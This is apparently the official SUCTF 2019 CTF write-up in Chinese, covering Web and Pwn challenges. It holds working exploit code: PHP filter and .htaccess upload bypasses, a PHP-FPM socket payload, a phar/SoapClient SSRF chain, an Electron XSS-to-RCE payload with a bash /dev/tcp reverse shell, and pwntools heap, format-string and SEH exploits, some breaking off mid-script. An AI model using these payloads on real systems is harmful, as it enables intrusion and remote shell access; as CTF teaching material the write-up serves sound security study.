

# 来啦兄弟！SUCTF国内赛官方WP了解一下

XCTF联赛小秘 2019-08-22 12:11:20 1866 0 2

## SUCTF 官方wp

---

### Web

#### CheckIn

一个比较老的上传技巧,但是貌似很少人知道,一些上传总结中都没有出现,github 开源项目 upload-lab 上也没有出现过,所以就拿来出题了。`.user.ini` 适用于 php-fpm 的场景下的上传 trick,但是CTF比赛中貌似都还没有出现过,直接拿了国赛华东赛区的一个上传绕过题目来改的,原本是直接 ban 掉了 `htaccess`,防止大家思路跑偏,可是出题人打字太快了写成了 `htacess`,就比较尴尬了。

参考[user.ini文件构成的PHP后门](#)

#### EasyPHP

这道题没有什么全新的考点,就是三层绕过,但是第三层 fpm 绕过 `disable_functions`,作为出题人要给大家谢罪了。。。忘记过滤了 `ini_set`,结果导致大家都用的 [bypass open\\_basedir的新方法](#) 这篇文章中的思路。另外还有 `putenv`,所以第三层基本上是废了 T\_T。

#### 第一层

黑名单执行,参考自 <https://xz.aliyun.com/t/5677>,另外限制了长度。

Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。

Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。

可以传入phpinfo,也可以进入第二层get\_the\_flag 函数

```
1. ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo
2. ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}
   ();&ff=get_the_flag
```

#### 第二层

.htaccess文件上传,也算是屡见不鲜了

上传的 .htaccess文件可以为如下，我上传的文件是 zenis.pxp

```
1. #define width 1
2. #define height 1
3. AddType application/x-httpd-php .pxp
4. php_value auto_append_file
   "php://filter/convert.base64-decode/resource=zenis.pxp"
```

后面上传的文件可以加一个四个字符 b"\x18\x81\x7c\xf5"，这样base64之后开头就是 GIF89了

### 第三层

有了webshell后，发现有 open\_basedir限制，在www目录下发现文件 F1AghhhhhhhhhhhhhHH，但是发现是个假的 flag，还提示说有 php7.2-fpm has been initialized in unix socket mode!

这里不难联想到 fpm 绕过 open\_basedir，disable\_functions等限制，参考[open\\_basedir bypass with IP-based PHP-FPM](#)，今年不止考了一次了 php7.2-fpm.sock默认在

unix:///run/php/php7.2-fpm.sock

借用p神的脚本魔改一下，不过还要加上对 open\_basedir 的重设

```
1. 'PHP_VALUE': 'auto_prepend_file =
   php://input'+chr(0x0A)+'open_basedir = /',
```

### EXP

#### exp1.py

改自 p 神的payload，这里贴出关键部分，可以生成base64版，以 GIF89a 开头的payload，

```
1. def request(self, nameValuePairs={}, post=''):
2.     #if not self.__connect():
3.         # print('connect failure! please check
   your fasctcgi-server !!')
4.         # return
5.     .....
6.     #print(request)
7.     #print(base64.b64encode(request))
8.     pay = "<?php \n$exp =
   \""+base64.b64encode(request).decode()+"\";\"
9.     pay = pay + "\""
```

```

10.     print_r($exp);
11.
$sock=stream_socket_client('unix:///run/php/php7.2-
fpm.sock');
12.     stream_socket_sendto($sock,
base64_decode($exp));
13.     print("\n");
14.     while(!feof($sock)){
15.         print_r(fread($sock, 4096));
16.     }
17.     fclose($sock);
18.     ""
19.
print(base64.b64encode(b"\x18\x81\x7c\xf5"+pay.encode()))
)
20.     exit()
21.     .....
22.         'CONTENT_LENGTH': "%d" % len(content),
23.         'PHP_VALUE': 'auto_prepend_file =
php://input'+chr(0x0A)+'open_basedir = /',
24.         'PHP_ADMIN_VALUE': 'allow_url_include = On'
25.     }
26.     response = client.request(params, content)
27.     print(force_text(response))

```

## exp2.py

将 exp.py 生成的 payload 放到 exp 变量即可

```

1. import requests
2. url = "http://192.168.188.128:8810/"
3. payload = "?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}
(&%ff=get_the_flag"
4. files = {'file':(".htaccess",""#define width 1
5. #define height 1
6. AddType application/x-httpd-php .pxp
7. php_value auto_append_file

```

```

"php://filter/convert.base64-
decode/resource=zenis.pxp"") }
8. r1 = requests.post(url+payload, files=files)
9. #print(r1.text)
10. exp =
""GIF89Tw/cGhwIAokZXhwID0gIkFRRjZPQUFJQUFBQUFRQUFBQUFBQ
UFRWVqZ0I3QUFBRVF0SFFWukZWMEZaWDBsTlZFVlNSa0ZEULVaaGMzU
kRSMGt2TVM0d0RnUlNSVkJZWU1ZOVVgWUMUZWWRWhQUkZCUFUxUVBGMU5EV
WtsUVZGOUDTVXhGVGtGtLJTOTJZWEL2ZDNkM0wyaDBiV3d2YVc1a1pYZ
3VjR2h3Q3hkVFEXskpVRlJmVGtGtLJTOTJZWEL2ZDNkM0wyaDBiV3d2Y
Vc1a1pYZ3VjR2h3REFCULZVVlNXVjlUVkZKS1RrY0xGMUpGVVZWRLUxU
mZWVkpKTDNaaGNpOTNkM2N2YUHSdGJD0XBibVJsZUMld2FIQU5BVVJQU
TFWTLJVNvVYMUUpQVDFRdkR3NVRSVkpXULZKZlUwOUdWRmRCVWtWd2FIQ
XZabU5uYVd0c2FXVnVkJXNkVWtWtLQxUkZYMEZFUKZJeElqY3VNQzR3T
GpFTEJGSkZUVTLVULY5UVQxSlVPVGs0TlFzSlUwVlNWa1ZTWDBGRVJGS
XhNamN1TUM0d0xqRUxBbE5GVWxaRlVsOVFUMUpVT0RBTENWtkZVbFpGV
Ww5TlFVMUziRzlgWVd4b2IzTjBEd2hUULZKVlJWSmZVRkpQVku5RFQwe
ElWRLJRTHPFdU1Rd1FRMDlPVkVWTlZGOVXVkJGWVhCd2JHbGpZWFJwY
jI0dmRHVjRkQTRDUTA5TlZFvk9WRjlnU1U1SFZFZzBNZ2t3VUVoUVgxW
kJURLZGWVhWMGIxOXdbVZ3Wlc1a1gyWnBiRlVnUFNCd2FIQTZMeTlwY
m5CMWRBChZjRlZlWDJKAgyVmthWElnUFNBdkR4WlFTRkjmUVVSTlNVN
WZWa0ZNVlVWagJHeHZkMTkxY2l4ZmFXNWpiSFZrWlNBOUlFOXVBUVI2T
0FBQUFBQUJCWG80QUNvQUFEYy9jR2h3SuhCeWFXNTBYM0lvYzJOaGJtU
nBjaWduTDNaaGNpOTNkM2N2YUHSdGJDY3BLVHMvUGdFRmVqZ0FBQUFBFI
jsKICAgIHByaW50X3IoJGV4cCk7CiAgICAgc29jaz1zdHJlYW1fc29ja
2V0X2NsaWVudCgndW5peDovLy9ydW4vcGhwL3BocDcuM1lmcG0uc29ja
ycpOwogICAgc3RyZWftX3NvY2tldF9zZW5kdG8oJHNvY2ssIGJhc2U2N
F9kZWNVZGUoJGV4cCkpOwogICAgcHJpbnQoIgoiKTsKICAgIHdoawxlK
CFmZW9mKCRzb2NrKS17CiAgICAgICAgcHJpbnRfcihmcmVhZCgkc29ja
ywgNDA5NikpOwogICAgfQogICAgZmNsbnNlKCRzb2NrKTSK""
11. files = {'file': ("zenis.pxp", exp)}
12. r2 = requests.post(url+payload, files=files)
13. print(r2.text)
14. print(requests.get(url+r2.text).text)

```

## pythonginx

这是在刚刚举行的 black hat 2019 上看到的東西，感觉比较有意思，就拿来出题了。



### Python was vulnerable

```
>>> from urllib.parse import urlsplit, urlunsplit
>>> url = 'http://canada.c%.microsoft.com/some.txt'
>>> parts = list(urlsplit(url))
>>> host = parts[1]
>>> host
'canada.c%.microsoft.com'
>>> newhost = []
>>> for h in host.split('.'):
...     newhost.append(h.encode('idna').decode('utf-8'))
...
>>> parts[1] = '.'.join(newhost)
>>> finalUrl = urlunsplit(parts)
>>> finalUrl
'http://canada.ca/c.microsoft.com/some.txt'
```

- Credit for this vulnerability is shared with Panayiotis Panayiotou



#BHUSA @BLACKHATEVENTS

//题目代码都没改多少，但是很多队伍都跑远了...orz

预期解：

```
1. file://suctf.c%sr%2ffffffflag @111
```

这里我选用的是%这个字符，再加上题目给的 nginx 提示，其实按照预期思路基本没有什么坑，就比较容易让人想到 `/usr/local/nginx/conf/nginx.conf` 这个 nginx 配置文件了，里面就有 flag 的位置。

看了很多师傅的非预期，感觉也挺有意思的，但是按照其他的思路来看这题就成了一道猜 flag 位置的题。（给师傅们磕头了，哐哐哐，是我太菜了...

问了一些师傅，都表示看了这篇文章，//vk师傅又读了一遍urllib的源码orz

其实html的提示就是想说明 suctf.cc 是绑了 localhost，大家可以不用管这个域名。

题外话，还有师傅真的把 suctf.cc 给买下来了...还买了一 year orz...然后还真有一个师傅跑偏到日 suctf.cc 去了...

哐哐哐给师傅们谢罪了

## Upload Labs 2

题目直接给出了附件，代码不多，简单审计我们可以知道要 `getFlag` 就需要绕过 `127.0.0.1` 的限制，首先我们来看怎么绕过 `127.0.0.1` 的限制。

在class.php中，我们可以很明显的看到存在

```
1. function __wakeup(){
2.     $class = new ReflectionClass($this->func);
3.     $a = $class->newInstanceArgs($this->file_name);
4.     $a->check();
5. }
```

打ctf比较多的人可能会很熟悉，这是可以通过反射SimpleXMLElement来进行 xxe，但是题目在 config.php 中把外部实体给限制了。

但是从\$a->check();的调用我们不难想到可以利用SoapClient来进行 SSRF，利用条件就是要通过反序列化，那么怎么得到反序列化呢

这个题考的就是finfo\_file触发 phar 反序列化，但是题目有以下限制：

```
1.
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.
bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*
(file|data|\\.\\.)(.|\\s)*|/i',$_POST['url'])){
2.     die("Go away!");
3. }
```

ban 掉了 phar 开头的伪协议，还有一些考过的协议，发现还有 php 伪协议没有 ban，于是可以利用类似于

```
1. php://filter/read=convert.base64-
encode/resource=phar://./1.phar
```

这种形式来触发反序列化，所以基本外层都弄完了，下面看看内部怎么弄。

题目在 admin.php 中又给了一个反序列化，这个反序列化我们可以看到只能通过

```
1. $admin = new Ad($ip, $port, $clazz, $func1, $func2,
$func3, $arg1, $arg2, $arg3);
2. $admin->check();
```

这样去触发了，又给了另几个反射类：

```
1. function check(){
2.     $reflect = new ReflectionClass($this->clazz);
3.     $this->instance = $reflect->newInstanceArgs();
4.     $reflectionMethod = new ReflectionMethod($this-
>clazz, $this->func1);
5.     $reflectionMethod->invoke($this->instance, $this-
```

```

>arg1);
6.     $reflectionMethod = new ReflectionMethod($this-
>clazz, $this->func2);
7.     $reflectionMethod->invoke($this->instance, $this-
>arg2);
8.     $reflectionMethod = new ReflectionMethod($this-
>clazz, $this->func3);
9.     $reflectionMethod->invoke($this->instance, $this-
>arg3);
10. }

```

参考TSec 2019 议题 PPT: Comprehensive analysis of the mysql client attack chain, 这里其实就是

```

1. $m = new mysqli();
2. $m->init();
3. $m->real_connect('ip','select 1','select 1','select
1',3306);
4. $m->query('select 1;');

```

在自己服务器上架一个 rogue mysql 就行了, 然后文件参数为 `phar:///./upload/xxxx`, 你上传的那个 phar 就行了, 然后就可以在自己传入的那个端口拿到 flag 啦。

POC:

```

1. <?php
2. class File{
3.     public $file_name;
4.     public $type;
5.     public $func = "SoapClient";
6.     function __construct($file_name){
7.         $this->file_name = $file_name;
8.     }
9. }
10. $target = 'http://127.0.0.1/admin.php';
11. // $target = "http://106.14.153.173:2015";
12. $post_string =
'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connec

```

```

t&arg2[0]=xxx.xxx.xxx.xxx&arg2[1]=root&arg2[2]=123&arg2[
3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=xxx.
xxx.xxx.xxx&port=xxxx';
13. $headers = array(
14.     'X-Forwarded-For: 127.0.0.1',
15. );
16. // $b = new SoapClient(null,array("location" =>
$target,"user_agent"=>"zedd\r\nContent-Type:
application/x-www-form-
urlencoded\r\n".join("\r\n",$headers)."\r\nContent-
Length: ".
(string)strlen($post_string)."\r\n\r\n".$post_string,"ur
i" => "aaab"));
17. $arr = array(null, array("location" =>
$target,"user_agent"=>"zedd\r\nContent-Type:
application/x-www-form-
urlencoded\r\n".join("\r\n",$headers)."\r\nContent-
Length: ".
(string)strlen($post_string)."\r\n\r\n".$post_string,"ur
i" => "aaab"));
18. $phar = new Phar("1.phar"); //后缀名必须为phar
19. $phar->startBuffering();
20. // <?php __HALT_COMPILER();
21. $phar->setStub("GIF89a" . "<
language='php'>__HALT_COMPILER();</>"); //设置stub
22. $o = new File($arr);
23. $phar->setMetadata($o); //将自定义的meta-data存入
manifest
24. $phar->addFromString("test.txt", "test");
25. //签名自动计算
26. $phar->stopBuffering();
27. rename("1.phar", "1.gif");
28. ?>

```



## easy\_sql

题目打开之后，会提示让我们输入flag，如果输入的内容与flag一样的话，则输出flag。

通过输入的字符串可以大致判断出后端逻辑是：

```
$query||FLAG
```

因此需要找到一种可以通过||带出flag的方式。在sql\_mode，可以通过将其值设置为PIPE\_AS\_CONCAT改变||的作用为拼接字符串，此时随便输入一串字符串便能返回该字符串与FLAG拼接的内容。

这里我借用N.E.X的一张图加以说明：



最终的payload为：

```
1;set sql_mode=pipes_as_concat;select 1
```

由于出题出到一半时有事就放着了，最后放题时看有黑名单存在便以为出完了，结果导致了許多低级的非预期解。

## iCloudMusic

第一步的XSS不难，js\_to\_run中直接将歌单信息拼接到js中，引号+大括号逃逸即可。

拿到XSS怎样转化为RCE则考察怎样通过覆盖js原生函数来泄漏preload.js运行的node环境中的一些变量/函数等，这里有两种方法

- 思路1 暴力重写js所有原生函数

以Function.prototype.apply为例

```
a.
Function.prototype.apply2=Function.prototype.apply;
b. Function.prototype.apply=function(...args){
c.   for(var i in args)
d.     if(args[i])
e.       console.log(args[i].toString());
f.   return this.apply2(...args);
g. }
```

views的devtools执行这个函数后，尝试执行request.get一个url，可以在console

中找到`process`.因此便可以将我们的覆盖脚本改写为:

```
1. Function.prototype.apply2=Function.prototype.apply;
2. Function.prototype.apply=function(...args){
3.     if(args[0]!=null && args[0]!=undefined &&
args[0].env!=undefined){
4.
Function.prototype.apply=Function.prototype.apply2;
5.
args[0].mainModule.require('child_process').exec('bash -
c "bash -i >& /dev/tcp/XXXXXX/8080 0>&1"');
6.     }
7.     return this.apply2(...args)
8. }
9. request.get('http://www.baidu.com/',null)
```

- 思路2 白盒审计

request库/http库/其他很多node库都有可能调用process相关的函数, 其中process下有这样一个函数`nextTick`

```
1. f (...args) {
2.     process.activateUvLoop();
3.     return func.apply(this, args);
4. }
```

可以看到`process.nextTick`中调用了`func.apply`,即`Function.prototype.apply`,且参数`this`正是`process`本身。

在http库中处理socket请求的一个关键函数即调用了这个函数

```
1. ClientRequest.prototype.onSocket = function
onSocket(socket) {
2.     process.nextTick(onSocketNT, this, socket);
3. };
```

request库处理请求都使用http库, 且request库本身也多次调用了这个函数

```
1. var defer = typeof setImmediate === 'undefined'
2.     ? process.nextTick
3.     : setImmediate
```

知道这一点我们便可以直接给出我们同上的利用脚本。

## Cocktail's Remix

1.从robots.txt可以得到根目录下页面。

1. `User-agent: *`
2. `Disallow: /info.php`
3. `Disallow: /download.php`
4. `Disallow: /config.php`

2.从info.php页面可以发现Apache后门模块mod\_cocktail。

1. `core mod_so mod_watchdog http_core mod_log_config  
mod_logio mod_version mod_unixd mod_access_compat  
mod_alias mod_auth_basic mod_authn_core mod_authn_file  
mod_authz_core mod_authz_host mod_authz_user  
mod_autoindex mod_cocktail mod_deflate mod_dir mod_env  
mod_filter mod_mime prefork mod_negotiation mod_php7  
mod_reqtimeout mod_setenvif mod_status`

3.通过download.php页面可以下载任意可读文件，包括mod\_cocktail.so和config.php。

下载方式:<http://ip/download.php?filename=文件名>

下载数据库配置页面config.php

<http://ip/download.php?filename=config.php>

下载模块链接库mod\_cocktail.so:

[http://ip/download.php?filename=/usr/lib/apache2/modules/mod\\_cocktail.so](http://ip/download.php?filename=/usr/lib/apache2/modules/mod_cocktail.so)

4.下载config.php页面源码得到内网数据库地址，用户和密码

1. `<?php`
2. `//$db_server = "MySQLServer";`
3. `//$db_username = "dba";`
4. `//$db_password = "rNhHmNkN3xu4MBYhm";`
5. `?>`

5.对mod\_cocktail.so进行逆向，掌握后门利用方法。

对收到的HTTP请求头“Reffer”字段进行base64解码，并执行命令。

6.通过apache后门访问内网数据库获取flag值。

1. `#!/bin/bash`
2. `curl 'http://127.0.0.1/1' -H 'Reffer:  
bX1zcWwgTWggTX1zcWxTZXJ2ZXIgLXUgZGJhIC1wck5oSG1tTmtOM3h1`

```
NE1CWWhTIC1lICdzZWxlY3QgKiBmcm9tICBmbGFnLmZsYWc7Jw=='
```

```
3. #Base64解码内容:mysql -h MysqlServer -u dba -  
prNhHmNkN3xu4MBYhm -e 'select * from flag.flag;'
```

## Pwn

### playfmt

一开始用C++泄露flag，子类继承于派生类，析构函数未写成虚析构

```
1. class base {  
2. public:  
3.     char* str;  
4.     base() {  
5.         this->str = (char*)malloc(32);  
6.         memcpy(this->str, "hello,world", 32);  
7.     }  
8.     ~base() {  
9.         puts(this->str);  
10.        free(this->str);  
11.        this->str = nullptr;  
12.    }  
13. };  
14. class derived :public base {  
15. public:  
16.     char* flag;  
17.     derived() {  
18.         this->flag = nullptr;  
19.     }  
20.     derived(char* s) {  
21.         this->flag = s;  
22.     }  
23.     ~derived() {  
24.         this->flag = nullptr;  
25.     }  
26. };  
1.     puts("Testing my C++ skills...");
```

```

2. //安全操作
3. puts("testing 1...");
4. derived* nothing = new derived(nullptr);
5. delete nothing;
6. puts("testing 2...");
7. derived* nothing2 = new derived();
8. delete nothing2;
9. puts("testing 3...");
10. //漏洞点
11. //带参构造函数, this->flag = (global)flag
12. derived* ptr = new derived(flag);
13. base* ptr2 = (base*)ptr;
14. puts("You think I will leave the flag?");

```

然后的printf.....比较常规吧

其实是因为这个题在三月份的时候就出来了，后来de1ctf里charlie大哥出的unprintable出的比较好，然后printf就被玩烂了...

附exp

```

1. from pwn import *
2. # context.log_level = "debug"
3. do_fmt_ebp_offset = 6
4. play_ebp_offset = 14
5. main_ebp_offset = 26
6. def format_offset(format_str , offset):
7.     return format_str.replace("{}" , str(offset))
8. def get_target_offset_value(offset , name):
9.     payload = format_offset("%{}$p\x00" , offset)
10.    p.sendline(payload)
11.    text = p.recv()
12.    try:
13.        value = int(text.split("\n")[0] , 16)
14.        print(name + " : " + hex(value))
15.        return value
16.    except Exception, e:
17.        print text

```

```

18. def modify_last_byte(last_byte , offset):
19.     payload = "%" + str(last_byte) + "c" +
format_offset("%{}$hhn" , offset)
20.     p.sendline(payload)
21.     p.recv()
22. def modify(addr , value , ebp_offset ,
ebp_1_offset):
23.     addr_last_byte = addr & 0xff
24.     for i in range(4):
25.         now_value = (value >> i * 8) & 0xff
26.         modify_last_byte(addr_last_byte + i ,
ebp_offset)
27.         modify_last_byte(now_value , ebp_1_offset)
28. p = process("./playfmt")
29. elf = ELF("./playfmt")
30. p.recvuntil("=\n")
31. p.recvuntil("=\n")
32. # leak ebp_1_addr then get ebp_addr
33. play_ebp_addr =
get_target_offset_value(do_fmt_ebp_offset, "logo_ebp")
34. # get_ebp_addr
35. main_ebp_addr =
get_target_offset_value(do_fmt_ebp_offset, "main_ebp")
36. # flag_class_ptr_addr = main_ebp_addr + 0x10
37. # flag_class_ptr_offset = main_ebp_offset - 4
38. flag_class_ptr_offset = 19
39. flag_addr =
get_target_offset_value(flag_class_ptr_offset ,
"flag_addr") - 0x420
40. log.info(hex(flag_addr))
41. # puts_plt = elf.plt["puts"]
42. modify(main_ebp_addr + 4 , flag_addr ,
do_fmt_ebp_offset , play_ebp_offset)
43. # gdb.attach(p)

```

```

44. payload = format_offset("%{}$s\x00" ,
play_ebp_offset + 1)
45. p.send(payload)
46. # log.info("flag_addr : " + hex(flag_addr))
47. # p.sendline("quit")
48. p.interactive()

```

## BabyStack

通过除0异常进入正确流程后，利用栈溢出覆盖SEH，并在栈上伪造scope\_table，从而bypass SafeSEH，控制程序执行流，获取flag。

```

1. from pwn import *
2. import struct
3. def p32(addr):
4.     return struct.pack("<I",addr)
5. def lg(s,addr):
6.     print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
7. def search_addr(addr):
8.     p.recvuntil("Do you want to know more?\r\n")
9.     p.sendline("yes")
10.    p.recvline()
11.    p.sendline(str(addr))
12.    p.recvuntil("value is ")
13. # p = Process("./BabyStack.exe")
14. p = remote("121.40.159.66",6666)
15. # p = remote("192.168.50.165",6666)
16. p.recvuntil("Hello,I will give you some gifts\r\n")
17. p.recvuntil("stack address = ")
18. stack_addr = int(p.recvuntil("\r\n")[:-2],16)
19. lg("stack_addr",stack_addr)
20. p.recvuntil("main address = ")
21. main_addr = int(p.recvuntil("\r\n")[:-2],16) +
0x4a82
22. lg("main_addr",main_addr)
23. p.recvline()

```

```
24. p.sendline(hex(main_addr + 0x171)
[2:].rjust(8,"0").upper())
25. search_addr(main_addr + 0x73c24)
26. security_cookie = int(p.recvuntil("\r\n")[:-2],16)
27. lg("security_cookie",security_cookie)
28. # stack_addr-->0xd8fbf0
29. # 00D8FB24  buffer_start
30. # 00D8FBB4  GS_cookie
31. # 00D8FBB8  addr1
32. # 00D8FBBC  start
33. # 00D8FBC0  next_SEH
34. # 00D8FBC4  this_SEH_ptr
35. # 00D8FBC8  scope_table
36. search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC0))
37. next_SEH = int(p.recvuntil("\r\n")[:-2],16)
38. lg("next_SEH",next_SEH)
39. search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC4))
40. this_SEH_ptr = int(p.recvuntil("\r\n")[:-2],16)
41. lg("this_SEH_ptr",this_SEH_ptr)
42. search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC8))
43. Scope_Table = int(p.recvuntil("\r\n")[:-2],16)
44. lg("Scope_Table",Scope_Table)
45. search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBB4))
46. GS_cookie = int(p.recvuntil("\r\n")[:-2],16)
47. lg("GS_cookie",GS_cookie)
48. search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBBC))
49. start = int(p.recvuntil("\r\n")[:-2],16)
50. lg("start",start)
51. p.recvuntil("Do you want to know more?\r\n")
52. p.sendline("homura")
53. buffer_start = stack_addr - (0xd8fbf0 - 0x0D8FB24)
54. payload = ""
55. payload += "A"*8
56. payload += p32(0xFFFFFFFFE4)
```



```

57. payload += p32(0)
58. payload += p32(0xFFFFFFFF0C)
59. payload += p32(0)
60. payload += p32(0xFFFFFFFFFE)
61. payload += p32(main_addr - 0x1bd)
62. payload += p32(main_addr - 0x17a)
63. payload = payload.ljust(0x88, "C")
64. payload += "H"*0x8
65. payload += p32(GS_cookie)
66. payload += p32(main_addr - 0x17a) # "C"*0x4
67. payload += "C"*0x4 # p32(main_addr - 0x175)
68. payload += p32(next_SEH)
69. payload += p32(this_SEH_ptr)
70. payload += p32((buffer_start + 8)^security_cookie)
71. # payload += p32(Scope_Table)
72. p.sendline(payload)
73. p.recvuntil("Do you want to know more?\r\n")
74. p.sendline("yes")
75. p.recvline()
76. # raw_input()
77. p.sendline("AA")
78. # raw_input()
79. # p.interactive()
80. print p.recv()

```

## old\_pc

scanf导致的NULL-byte offbyone -> 32位unlink -> 想怎么打就怎么打（各位大哥对不起，下次一定提前提示libc版本号）

- 预期解是 unlink+house\_of\_spirit，没想到还有人被realloc卡住了[狗头]。
- 目前见过最骚的非预期是kirin师傅的house\_of\_prime做法和7o8v师傅的house\_of\_orange做法。

exp from 人人人

```

1. from pwn import *
2. from time import sleep

```

```
3. import sys
4. context.arch = 'i386'
5. binary = ELF("pwn")
6. if sys.argv[1] == 'l':
7.     #context.log_level = 'debug'
8.     io = process("./pwn")
9. elif sys.argv[1] == 'r':
10.     io = remote('47.111.59.243',10001)
11. else:
12.     info("INVALID OP")
13.     exit()
14. def choice(c):
15.     io.sendlineafter(">>> ",str(c))
16. def p(size,name,price):
17.     choice(1)
18.     io.sendlineafter("length: ",str(size))
19.     io.sendlineafter("Name: ",name)
20.     io.sendlineafter("Price: ",str(price))
21. def c(index,comment,score):
22.     choice(2)
23.     io.sendlineafter("Index: ",str(index))
24.     io.sendafter(": ",comment)
25.     io.sendlineafter("score: ",str(score))
26. def t(index):
27.     choice(3)
28.     io.sendlineafter("index: ",str(index))
29. def r(index,new,c,data = '',fill = ''):
30.     choice(4)
31.     io.sendlineafter("index: ",str(index))
32.     sleep(0.2)
33.     io.send(new)
34.     if(index<=3):
35.         io.sendlineafter("(y/n)",c)
36.         if(c == 'y'):
```

```

37.         io.sendlineafter("serial: ",data)
38.         io.sendafter("Pwner\n",fill)
39. #gdb.attach(io,'c')
40. p(0x10,'0000',0)#0
41. c(0,'0000',0)
42. p(0x10,'0000',0)#1
43. c(1,'0000',0)
44. p(0x10,'0000',0)#2
45. c(2,'0000',0)
46. t(0);t(1);
47. p(0x10,'0000',0)#0
48. c(0,'0',0)
49. p(0x10,'0000',0)#1
50. c(1,'0',0)
51. t(0)
52. io.recvuntil('Comment ')
53. buf = io.recv(4)
54. libc_base = u32(buf)-(0xf7736730-0xf7584000)+0x2000
55. success("libc base -> %#x"%libc_base)
56. buf = io.recv(4)
57. print hex(u32(buf))
58. heap_base = ((u32(buf)>>12)<<12)
59. success("heap base -> %#x"%heap_base)
60. p(0x10,'/bin/sh;\x00',1)#0
61. c(0,p32(heap_base+0x338)*2,1)
62. p(0x10,'1111',1)#3
63. p(0x10,'1111',1)#4
64. p(0x10,'1111',1)#5
65. p(0x10,'1111',1)#6
66. t(3);t(4);t(5);t(6);
67. p(0x6c,'2222',2)#3
68. p(0xf8,'2222',2)#4
69. p(0x10,"$0;\x00"+p32(0)*2+p32(0x1c1),2)#5
70.

```

```

c(5,p32(0)*5+p32(0x11)+3*p32(0)+p32(0x11)+3*p32(0)+p32(0x11),2)
71. t(3)
72. p(0x6c,p32(0)+p32(0x69)+p32(heap_base+0x30c-0xc)+p32(heap_base+0x30c-0x8)+'\x00'*0x58+p32(0x68),0x19)#3
73. t(4)
74.
r(3,p32(0)+p32(0x19)+p32(0)+p32(libc_base+0x1b18b0),'y',
data = 'e4SyD1C!',fill = p32(libc_base+0x3a940))
75. io.interactive()

```

#### exp from Kirin

```

1. from pwn import *
2. context.log_level="debug"
3. def add(l,note,prize):
4.     p.sendlineafter(">>> ", "1")
5.     p.sendlineafter(": ",str(l))
6.     p.sendafter(": ",note)
7.     p.sendlineafter(": ",str(prize))
8. def comment(index,note,score):
9.     p.sendlineafter(">>> ", "2")
10.    p.sendlineafter(": ",str(index))
11.    p.sendafter(": ",note)
12.    p.sendlineafter(": ",str(score))
13. def delete(index):
14.    p.sendlineafter(">>> ", "3")
15.    p.sendlineafter(": ",str(index))
16.    p.recvuntil("Comment ")
17.    s=p.recvuntil("1.")
18.    return s
19. def edit(index,note,power=0,serial=""):
20.    p.sendlineafter(">>> ", "4")
21.    p.sendlineafter(": ",str(index))
22.    p.send(note)

```

```
23.     if power:
24.         p.sendlineafter(")", "y")
25.         p.sendafter("serial: ", serial)
26.     else:
27.         p.sendlineafter(")", "n")
28. #p=process("./pwn")
29. p=remote("47.111.59.243", 10001)
30. add(0x14, "a"*0x13+"\n", 0)
31. comment(0, "bbbb", 12)
32. add(0x14, "cccc\n", 1)
33. delete(0)
34. comment(1, "b", 12)
35. libc_addr=u32(delete(1)[0:4])+0xf7dfa000-
0xf7fac762+0x2000
36. print hex(libc_addr)
37. #gdb.attach(p)
38. add(0x14, "aaaaaa\n", 0)
39. add(0xfc, "ddddddd\n", 1)
40. add(0x14, "eeee\n", 2)
41. delete(0)
42. add(0x14, "a"*0x14, 0)
43. delete(0)
44. for i in range(5):
45.     add(0x14, "a"*(0x14-i-1)+"\n", 0)
46.     delete(0)
47. add(0x14, "a"*16+"\xa8"+"n", 0)
48. delete(1)
49. add(0x24, "aaaaaa\n", 0)
50. comment(2, "2"*84, 0)
51. s=delete(2)
52. heap_addr=u32(s[84:84+4])
53. print hex(heap_addr)
54. add(0x14, "a\n", 0)
55.
```

```

comment(1,"1"*72+p32(0)+p32(0x19)+p32(heap_addr++0x2c8)+
p32(heap_addr)+p32(0)*2+p32(0)+p32(0x91),0)
56.
comment(2,p32(0)*24+p32(0)+p32(0x19)+"a"*16+p32(0)+p32(0
x19),1)
57. add(0xec,"a\n",0)
58. add(0xec,"a\n",0)
59. add(0xec,"a\n",0)
60. add(0x14,"a\n",0)
61. delete(0)
62. delete(2)
63. comment(3,p32(0)*9+p32(0x91)+p32(libc_addr-
0xf7e1f000+0xf7fcf7b0)+p32(libc_addr+0x1b18e0-0x8),0)
64. comment(4,"4444",0)
65. add(0x14,"a\n",0)
66.
add(0x14,p32(heap_addr+0x2e0)+p32(heap_addr+0x1d8)+"\n",
0)
67. delete(5)
68. delete(4)
69. delete(6)
70. #gdb.attach(p)
71. add(0xec,p32(libc_addr+0xf7fcf743+8-
0xf7e1f000)+"\n",1)
72. add(0xec,p32(libc_addr+0xf7fcf743+8-
0xf7e1f000)+"\n",1)
73. add(0xec,"/bin/sh\n",1)
74. add(0xec,"a"*17+p32(libc_addr+0x3a940)+"\n",1)
75. print hex(libc_addr)
76. #gdb.attach(p)
77. p.interactive()

```

exp from 7o8v

```

1. from pwn import *
2. context(

```

```

3.     log_level='debug',
4.     os='linux',
5.     arch='amd64',
6.     binary='./pwn'
7. )
8. e = context.binary
9. libc = e.libc
10. ip = '47.111.59.243'
11. port = 10001
12. io = process()
13. #io = remote(ip, port)
14.
15. =====
16. =====
17. def dbg(=' '):
18.     gdb.attach(io, gdb=)
19. def sh():
20.     io.interactive()
21. def menu(cmd):
22.     io.sendlineafter('>>> ', str(cmd))
23. def purchase(length, name, price=0):
24.     menu(1)
25.     io.sendlineafter('length: ', str(length))
26.     io.sendlineafter('Name: ', name)
27.     io.sendlineafter('ce: ', str(price))
28. def comment(idx, content, score):
29.     menu(2)
30.     io.sendlineafter('dex: ', str(idx))
31.     io.sendafter(' : ', content)
32.     io.sendlineafter(': ', str(score))
33. def throwit(idx):
34.     menu(3)
